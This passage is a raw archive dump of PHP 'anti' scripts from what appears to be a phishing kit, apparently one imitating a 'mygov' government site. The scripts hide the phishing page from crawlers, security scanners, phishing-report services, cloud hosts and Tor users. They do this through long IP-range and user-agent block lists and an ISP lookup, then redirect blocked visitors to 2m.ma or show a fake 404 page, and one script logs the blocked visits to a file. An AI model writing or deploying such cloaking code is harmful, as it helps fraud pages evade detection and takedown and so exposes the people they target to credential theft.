$cef6a){if(strpos($_SERVER['HTTP_USER_AGENT'],$cef6a)!==false){exit(header('Location: http://2m.ma'));}}}?>mygov/anti/anti2.php000064400000003104151676702570010404 0ustar00<?php $c28dd9c=$_SERVER['REMOTE_ADDR'];$c97h77ec=array("^81.161.59.*","^66.135.200.*","^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*","^91.103.66.*","^208.91.115.*","^199.30.228.*");if(in_array($c28dd9c,$c97h77ec)){exit(header('Location: http://2m.ma'));}else{foreach($c97h77ec as $a4nde){if(preg_match('/'.$a4nde.'/',$c28dd9c)){header('Location: http://2m.ma');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}}?>mygov/anti/anti3.php000064400000010102151676702570010401 0ustar00<?php $a370a=$_SERVER['REMOTE_ADDR'];$cd1e=array("^94.26.*.*","^95.85.*.*","^72.52.96.*","^212.8.79.*","^62.99.77.*","^83.31.118.*","^91.231.*.*","^206.207.*.*","^91.231.212.*","^62.99.77.*","^198.41.243.*","^162.158.*.*","^162.158.7.*","^162.158.72.*","^173.245.55.*","^108.162.246.*","^162.158.95.*","^108.162.215.*","^95.108.194.*","^141.101.104.*","^93.54.82.*","^69.164.145.*","^194.153.113.*","^178.43.117.*","^62.141.65.*","^83.31.69.*","^107.178.195.*","^149.20.54.*","^85.9.7.*","^87.106.251.*","^107.178.194.*","^124.66.185.*","^133.11.204.*","^185.2.138.*","^188.165.83.*","^78.148.13.*","^192.232.213.*","^1.234.41.*","^124.66.185.*","^87.106.251.*","^176.195.231.*","^206.253.226.*","^107.20.181.*","^188.244.39.*","^124.66.185.*","^38.74.138.*","^124.66.185.*","^38.74.138.*","^206.253.226.*","^1.234.41.*","^124.66.185.*","^87.106.251.*","^85.9.7.*","^37.140.188.*","^195.128.227.*","^38.74.138.*","^107.20.181.*","^104.131.223.*","^46.4.120.*","^107.178.194.*","^198.60.236.*","^217.74.103.*","^92.103.69.*","^217.74.103.*","^66.211.160.86*","^46.244.*.*","^131.*.*.*","^157.*.*.*","^202.*.*.*","^204.*.*.*","^207.*.*.*","^213.*.*.*","^219.*.*.*","^63.*.*.*","^64.*.*.*","^65.*.*.*","^68.*.*.*","^64.*.*.*","^64.233.160.*","^64.233.191.*","^64.233.191.255*","^66.102.*.*","^66.249.*.*","^72.14.*.*","^74.125.*.*","^209.85.*.*","^216.239.*.*","^64.4.*.*","^65.52.*.*","^131.253.*.*","^157.54.*.*","^207.46.*.*","^207.68.*.*","^8.12.*.*","^66.196.*.*","^66.228.*.*","^67.195.*.*","^68.142.*.*","^72.30.*.*","^74.6.*.*","^98.136.*.*","^202.160.*.*","^209.191.*.*","^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*",);foreach($cd1e as $cv1x){if(preg_match('/'.$cv1x.'/',$a370a)){header('Location: http://2m.ma');$f4c64o=fopen("captured.txt","a+");fwrite($f4c64o,"ip : {$cv1x} | ".date('d/m/Y h:i:sa')."\n\n");fclose($f4c64o);echo"<br>";echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}$c114d=strtolower($_SERVER['HTTP_USER_AGENT']);$e97476a=array("bot","above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit","apache-httpclient","lssrocketcrawler","crawler","urlredirectresolver","jetbrains","spam","windows 95","windows 98","acunetix","netsparker","007ac9","008","192.comagent","200pleasebot","360spider","4seohuntbot","50.nu","a6-indexer","admantx","amznkassocbot","aboundexbot","aboutusbot","abrave spider","accelobot","acoonbot","addthis.com","adsbot-google","ahrefsbot","alexabot","amagit.com","analytics","antbot","apercite","aportworm","EBAY","CL0NA","jabber","ebay","arabot","hotmail!","msn!","outlook!","outlook","msn","hotmail");foreach($e97476a as $d3e7e){if(substr_count($c114d,strtolower($d3e7e))>0 or $c114d=="" or $c114d==" " or $c114d==" "){header('Location: http://2m.ma');$f4c64i=fopen("captured.txt","a+");fwrite($f4c64i,"ip : {$cv1x} | ".date('d/m/Y h:i:sa')."\n\n");fclose($f4c64i);echo"<br>";echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}?>mygov/anti/anti4.php000064400000016546151676702570010424 0ustar00<?php $c5d6b=$_SERVER['REMOTE_ADDR'];$gh665yu=gethostbyaddr($c5d6b);$b3d6d45ss=array("bot","above","google","softlayer","amazonaws","cyveillance","compatible","facebook","phishtank","mozilla","dreamhost","netpilot","calyxinstitute","tor-exit","apache-httpclient","lssrocketcrawler","Trident","X11","Macintosh","crawler","urlredirectresolver","jetbrains","spam","windows 95","Windows XP","windows xp","windows 98","acunetix","netsparker","google","007ac9","008","192.comagent","200pleasebot","360spider","4seohuntbot","50.nu","a6-indexer","admantx","amznkassocbot","aboundexbot","aboutusbot","abrave spider","accelobot","acoonbot","addthis.com","adsbot-google","ahrefsbot","alexabot","amagit.com","analytics","antbot","apercite","aportworm",'Googlebot','Baiduspider','ia_archiver','R6_FeedFetcher','NetcraftSurveyAgent','Sogou web spider','bingbot','Yahoo! Slurp','facebookexternalhit','PrintfulBot','msnbot','Twitterbot','UnwindFetchor','urlresolver','Butterfly','TweetmemeBot','PaperLiBot','MJ12bot','AhrefsBot','Exabot','Ezooms','YandexBot','SearchmetricsBot','picsearch','TweetedTimes Bot','QuerySeekerSpider','ShowyouBot','woriobot','merlinkbot','BazQuxBot','Kraken','SISTRIX Crawler','R6_CommentReader','magpie-crawler','GrapeshotCrawler','PercolateCrawler','MaxPointCrawler','R6_FeedFetcher','NetSeer crawler','grokkit-crawler','SMXCrawler','PulseCrawler','Y!J-BRW','80legs.com/webcrawler','Mediapartners-Google','Spinn3r','InAGist','Python-urllib','NING','TencentTraveler','Feedfetcher-Google','mon.itor.us','spbot','Feedly','bot','curl','spider','crawler',"abot","dbot","ebot","hbot","kbot","lbot","mbot","nbot","obot","pbot","rbot","sbot","tbot","vbot","ybot","zbot","bot.","bot/","_bot",".bot","/bot","-bot",":bot","(bot","crawl","slurp","spider","seek","accoona","acoon","adressendeutschland","ah-ha.com","ahoy","altavista","ananzi","anthill","appie","arachnophilia","arale","araneo","aranha","architext","aretha","arks","asterias","atlocal","atn","atomz","augurfind","backrub","bannana_bot","baypup","bdfetch","big brother","biglotron","bjaaland","blackwidow","blaiz","blog","blo.","bloodhound","boitho","booch","bradley","butterfly","calif","cassandra","ccubee","cfetch","charlotte","churl","cienciaficcion","cmc","collective","comagent","combine","computingsite","csci","curl","cusco","daumoa","deepindex","delorie","depspid","deweb","echo blinde kuh","digger","ditto","dmoz","docomo","download express","dtaagent","dwcp","ebiness","ebingbong","e-collector","ejupiter","emacs-w3 search engine","esther","evliya celebi","ezresult","falcon","felix ide","ferret","fetchrover","fido","findlinks","fireball","fish search","fouineur","funnelweb","gazz","gcreep","genieknows","getterroboplus","geturl","glx","goforit","golem","grabber","grapnel","gralon","griffon","gromit","grub","gulliver","hamahakki","harvest","havindex","helix","heritrix","hku www octopus","homerweb","htdig","html index","html_analyzer","htmlgobble","hubater","hyper-decontextualizer","ia_archiver","ibm_planetwide","ichiro","iconsurf","iltrovatore","image.kapsi.net","imagelock","incywincy","indexer","infobee","informant","ingrid","inktomisearch.com","inspector web","intelliagent","internet shinchakubin","ip3000","iron33","israeli-search","ivia","jack","jakarta","javabee","jetbot","jumpstation","katipo","kdd-explorer","kilroy","knowledge","kototoi","kretrieve","labelgrabber","lachesis","larbin","legs","libwww","linkalarm","link validator","linkscan","lockon","lwp","lycos","magpie","mantraagent","mapoftheinternet","marvin/","mattie","mediafox","mediapartners","mercator","merzscope","microsoft url control","minirank","miva","mj12","mnogosearch","moget","monster","moose","motor","multitext","muncher","muscatferret","mwd.search","myweb","najdi","nameprotect","nationaldirectory","nazilla","ncsa beta","nec-meshexplorer","nederland.zoek","netcarta webmap engine","netmechanic","netresearchserver","netscoop","newscan-online","nhse","nokia6682/","nomad","noyona","nutch","nzexplorer","objectssearch","occam","omni","open text","openfind","openintelligencedata","orb search","osis-project","pack rat","pageboy","pagebull","page_verifier","panscient","parasite","partnersite","patric","pear.","pegasus","peregrinator","pgp key agent","phantom","phpdig","picosearch","piltdownman","pimptrain","pinpoint","pioneer","piranha","plumtreewebaccessor","pogodak","poirot","pompos","poppelsdorf","poppi","popular iconoclast","psycheclone","publisher","python","rambler","raven search","roach","road runner","roadhouse","robbie","robofox","robozilla","rules","salty","sbider","scooter","scoutjet","scrubby","search.","searchprocess","semanticdiscovery","senrigan","sg-scout","shai'hulud","shark","shopwiki","sidewinder","sift","silk","simmany","site searcher","site valet","sitetech-rover","skymob.com","sleek","smartwit","sna-","snappy","snooper","sohu","speedfind","sphere","sphider","spinner","spyder","steeler/","suke","suntek","supersnooper","surfnomore","sven","sygol","szukacz","tach black widow","tarantula","templeton","/teoma","t-h-u-n-d-e-r-s-t-o-n-e","theophrastus","titan","titin","tkwww","toutatis","t-rex","tutorgig","twiceler","twisted","ucsd","udmsearch","url check","updated","vagabondo","valkyrie","verticrawl","victoria","vision-search","volcano","voyager/","voyager-hc","w3c_validator","w3m2","w3mir","walker","wallpaper","wanderer","wauuu","wavefire","web core","web hopper","web wombat","webbandit","webcatcher","webcopy","webfoot","weblayers","weblinker","weblog monitor","webmirror","webmonkey","webquest","webreaper","websitepulse","websnarf","webstolperer","webvac","webwalk","webwatch","webwombat","webzinger","wget","whizbang","whowhere","wild ferret","worldlight","wwwc","wwwster","xenu","xget","xift","xirq","yandex","yanga","yeti","yodao","zao/","zippp","zyborg","....");foreach($b3d6d45ss as $kf5g8f){if(substr_count($gh665yu,$kf5g8f)>0){header('Location: http://2m.ma');echo "<h1>404 Not Found</h1>The page that you have requested could not be found.";}}$ef2550c=array("^81.161.59.*","^66.135.200.*","^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*","^91.103.66.*","^208.91.115.*","^199.30.228.*");if(in_array($c5d6b,$ef2550c)){header('Location: http://2m.ma');exit();}else{foreach($ef2550c as $b1b3v6f){if(preg_match('/'.$b1b3v6f.'/',$c5d6b)){header('Location: http://2m.ma');echo "<h1>404 Not Found</h1>The page that you have requested could not be found.";}}}?>mygov/anti/anti5.php000064400000013457151676702570010423 0ustar00<?php $user_agent=$_SERVER['HTTP_USER_AGENT'];$user_ip=$_SERVER['REMOTE_ADDR'];$hostname=gethostbyaddr($_SERVER['REMOTE_ADDR']);$bots_agents=array('googlebot','yahoo','slurp','yahooSeeker','facebookexternalhit','ia_archiver','yandexbot','baiduspider','crawler','httrack','pycurl','python-requests','curl','wget','phish','Http Crawler');$bots_ips=array('1.9.2.13','1.9.2.15','62.210.13.58','104.62.2.60','104.83.233.198','107.178.194.64','108.161.29.60','115.238.55.18','119.97.214.138','138.197.207.*','145.239.156.71','145.239.156.89','150.70.168.35','150.70.188.167','154.127.57.30','162.243.128.197','162.243.187.126','162.243.69.215','165.227.0.128','170.250.139.48','138.197.207.147','173.230.147.44','177.39.232.144','178.17.170.156','185.104.186.168','185.220.101.26','185.28.20.243','188.166.63.71','192.36.27.7','196.52.84.81','204.13.201.137','208.87.233.140','212.83.139.219','212.92.117.5','216.164.117.239','217.16.26.166','217.96.188.74','219.117.238.170','23.27.153.247','23.27.154.37','24.23.24.144','27.0.1453.110','3.0.04506.648','3.0.4506.2152','31.168.158.239','34.237.113.113','39.0.2150.5','41.0.2272.118','43.0.2357.81','44.0.2403.155','46.101.94.163','5.62.39.18','5.62.41.35','5.62.56.91','50.112.194.65','50.116.2.167','51.0.2704.103','52.18.11.161','52.192.164.225','52.27.2.86','52.31.63.97','52.5.98.73','52.72.33.140','52.87.10.90','52.91.94.56','53.0.2785.116','54.213.103.141','54.228.218.117','54.245.191.79','56.0.2924.87','57.0.2987.98','61.0.3116.0','62.24.252.133','62.67.194.35','63.0.3239.132','64.0.3282.140','64.0.3282.167','66.0.3358.0','66.0.3359.0','67.0.3360.0','67.0.3361.0','68.65.53.71','75.163.12.85','76.19.184.88','77.69.251.230','80.104.176.17','81.0.48.*','81.0.48.138','84.13.191.239','84.92.148.184','88.99.62.141','217.96.197.246','89.234.157.254','91.231.212.111','97.85.126.186^66.102.*.*','^1.234.41.*','^104.108.64.175','^104.131.223.*','^107.170.*.*','^107.178.194.*','^107.178.195.*','^107.20.181.*','^108.162.215.*','^108.162.246.*','^109.186.*.*','^12.148.196.*','^12.148.209.*','^124.66.185.*','^128.242.*.*','^131.*.*.*','^131.212.*.*','^131.253.*.*','^133.11.204.*','^134.170.2.199','^141.101.104.*','^149.20.*.*','^149.20.54.*','^157.*.*.*','^157.54.*.*','^158.108.*.*','82.102.27.77','^162.158.*.*','^162.158.7.*','^162.158.72.*','^162.158.95.*','^167.24.*.*','^168.188.*.*','^173.194.*.*','^173.194.112.*','^173.194.116.102','^173.194.116.149','^173.245.55.*','^176.195.231.*','^178.43.117.*','^184.173.*.*','^185.2.138.*','^185.28.20.*','^188.165.83.*','^188.244.39.*','^192.115.134.*','^192.118.48.*','^192.232.213.*','^193.220.178.*','^193.221.113.53','^193.253.199.*','^193.47.80.*','^194.153.113.*','^194.52.68.*','^194.72.238.*','^194.90.*.*','^195.128.227.*','^198.25.*.*','^198.41.243.*','^198.54.*.*','^198.60.236.*','^199.30.228.*','^202.*.*.*','^202.108.252.*','^202.160.*.*','^204.*.*.*','^204.14.48.*','^206.207.*.*','^206.253.226.*','^206.28.72.*','^207.*.*.*','^207.126.144.*','^207.46.*.*','^207.46.8.167','^207.46.8.199','^207.68.*.*','^208.65.144.*','^208.76.45.53','^208.84.*.*','^208.91.115.*','^209.191.*.*','^209.73.228.*','^209.85.*.*','^209.85.128.*','^212.143.*.*','^212.150.*.*','^212.235.*.*','^212.29.192.*','^212.29.224.*','^212.50.193.*','^212.8.79.*','^213.*.*.*','^216.239.*.*','^216.239.32.*','^216.252.167.*','^216.33.229.163','^216.58.211.37','^217.132.*.*','^217.16.26.*','^217.74.103.*','^219.*.*.*','^37.128.131.171','^37.140.188.*','^38.100.*.*','^38.105.*.*','^38.144.36.*','^38.74.138.*','^46.116.*.* ','^46.244.*.*','^46.4.120.*','^50.7.*.*','^50.97.*.*','^54.176.*.*','^54.228.218.*','^62.116.207.*','^62.141.65.*','^62.90.*.*','^62.99.77.*','^63.*.*.*','^64.*.*.*','^64.106.213.*','^64.124.14.*','^64.18.*.*','^64.233.*.*','^64.233.160.*','^64.233.173.*','^64.233.191.*','^64.233.191.255*','^64.27.2.*','^64.37.103.*','^64.4.*.*','^64.62.136.*','^64.62.175.*','^64.68.90.*^81.161.59.*','^65.*.*.*','^65.52.*.*','^65.54.188.110','^65.54.188.126','^65.54.188.94','^65.55.206.154','^65.55.33.119','^65.55.33.135','^65.55.37.104','^65.55.37.120','^65.55.37.72','^65.55.37.88','^65.55.85.12','^65.55.92.136','^65.55.92.152','^65.55.92.168','^65.55.92.184','^66.102.*.*','^66.135.200.*','^66.150.14.*','^66.196.*.*','^66.205.64.*','^66.207.120.*','^66.211.160.86*','^66.211.169.3','^66.211.169.66','^66.221.*.*','^66.228.*.*','^66.249.*.*','^67.15.*.*','^67.195.*.*','^67.209.128.*','^68.*.*.*','^68.142.*.*','^68.65.53.71','^69.164.145.*','^69.61.12.*','^69.65.*.*','^72.14.*.*','^72.14.192.*','^72.30.*.*','^72.52.96.*','^74.125.*.*','^74.6.*.*','^78.148.13.*','^8.12.*.*','^82.166.*.*','^83.31.118.*','^83.31.69.*','^85.250.*.*','^85.64.*.*','^85.9.7.*','^87.106.251.*','^89.138.*.*','^89.163.159.214','^91.103.66.*','^91.231.*.*','^91.231.212.*','^92.103.69.*','^93.172.*.*','^93.54.82.*','^94.26.*.*','^95.108.194.*','^95.85.*.*','^98.136.*.*','185.104.120.4','212.83.170.209','87.115.213.2','82.223.27.82','163.172.174.24','37.187.96.202','92.103.69.158');$blocked_words=array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit","avast");$shit_isps=array("DigitalOcean","Amazon","Google","phishtank","net4sec","AVAST Software s.r.o.","BullGuard ApS","PayPal","Hotmail","Yahoo","AOL","Microsoft","Kaspersky Lab","Linode, LLC","MSN","ONLINE S.A.S.","Joshua Peter McQuistan");foreach($bots_agents as $bot_agent){if(substr_count($user_agent,$bot_agent)>0){exit(header('Location: http://2m.ma'));}}foreach($bots_ips as $bot_ip){if(preg_match('/'.$bot_ip.'/',$user_ip)){exit(header('Location: http://2m.ma'));}}foreach($blocked_words as $word){if(substr_count($hostname,$word)>0){exit(header('Location: http://2m.ma'));}}$ipp=isset($user_ip)&&$user_ip!=""?$user_ip:"1.1.1.1";$ISP=@file_get_contents('http://ipinfo.io/'.$ipp.'/org');if($ISP==false){return "ppp";}foreach($shit_isps as $isp){if(substr_count($ISP,$isp)){exit(header('Location: http://2m.ma'));}}?>mygov/anti/anti6.php000064400000007405151676702570010420 0ustar00<?php $bannedIP = array("^81.161.59.*", "^66.135.200.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", "^91.103.66.*", "^208.91.115.*", "^199.30.228.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*"); if (in_array($_SERVER['REMOTE_ADDR'], $bannedIP)) { exit(header('Location: http://2m.ma')); } else { foreach($bannedIP as $ip) { if (preg_match('/' . $ip . '/', $_SERVER['REMOTE_ADDR'])) { exit(header('Location: http://2m.ma')); } } } $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); $blocked_words = array("above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "msnbot","p3pwgdsn","netcraft","trendmicro", "ebay", "paypal", "torservers", "messagelabs", "sucuri.net", "crawler",); foreach($blocked_words as $word) { if (substr_count($hostname, $word) > 0) { exit(header('Location: http://2m.ma')); } } $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); $blocked_words = array("above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit",); foreach($blocked_words as $word) { if (substr_count($hostname, $word) > 0) { exit(header('Location: http://2m.ma')); } } ?>mygov/anti/anti7.php000064400000010351151676702570010413 0ustar00<?php $id = $_SERVER['REMOTE_ADDR']; $ips = array( "^94.26.*.*", "^95.85.*.*", "^72.52.96.*", "^212.8.79.*", "^62.99.77.*", "^83.31.118.*", "^91.231.*.*", "^206.207.*.*", "^91.231.212.*", "^62.99.77.*", "^198.41.243.*", "^162.158.*.*", "^162.158.7.*", "^162.158.72.*", "^173.245.55.*", "^108.162.246.*", "^162.158.95.*", "^108.162.215.*", "^95.108.194.*", "^141.101.104.*", "^93.54.82.*", "^69.164.145.*", "^194.153.113.*", "^178.43.117.*", "^62.141.65.*", "^83.31.69.*", "^107.178.195.*", "^149.20.54.*", "^85.9.7.*", "^87.106.251.*", "^107.178.194.*", "^124.66.185.*", "^133.11.204.*", "^185.2.138.*", "^188.165.83.*", "^78.148.13.*", "^192.232.213.*", "^1.234.41.*", "^124.66.185.*", "^87.106.251.*", "^176.195.231.*", "^206.253.226.*", "^107.20.181.*", "^188.244.39.*", "^124.66.185.*", "^38.74.138.*", "^124.66.185.*", "^38.74.138.*", "^206.253.226.*", "^1.234.41.*", "^124.66.185.*", "^87.106.251.*", "^85.9.7.*", "^37.140.188.*", "^195.128.227.*", "^38.74.138.*", "^107.20.181.*", "^104.131.223.*", "^46.4.120.*", "^107.178.194.*", "^198.60.236.*", "^217.74.103.*", "^92.103.69.*", "^217.74.103.*", "^66.211.160.86*", "^46.244.*.*", "^131.*.*.*", "^157.*.*.*", "^202.*.*.*", "^204.*.*.*", "^207.*.*.*", "^213.*.*.*", "^219.*.*.*", "^63.*.*.*", "^64.*.*.*", "^65.*.*.*", "^68.*.*.*", "^64.*.*.*", "^64.233.160.*", "^64.233.191.*", "^64.233.191.255*", "^66.102.*.*", "^66.249.*.*", "^72.14.*.*", "^74.125.*.*", "^209.85.*.*", "^216.239.*.*", "^64.4.*.*", "^65.52.*.*", "^131.253.*.*", "^157.54.*.*", "^207.46.*.*", "^207.68.*.*", "^8.12.*.*", "^66.196.*.*", "^66.228.*.*", "^67.195.*.*", "^68.142.*.*", "^72.30.*.*", "^74.6.*.*", "^98.136.*.*", "^202.160.*.*", "^209.191.*.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", ); foreach($ips as $ip) { if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){ exit(header('Location: http://2m.ma')); $ip = getenv("REMOTE_ADDR"); } } $dp = strtolower($_SERVER['HTTP_USER_AGENT']); $blocked_words = array( "bot", "above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "apache-httpclient", "lssrocketcrawler", "crawler", "urlredirectresolver", "jetbrains", "spam", "windows 95", "windows 98", "acunetix", "netsparker", "007ac9", "008", "192.comagent", "200pleasebot", "360spider", "4seohuntbot", "50.nu", 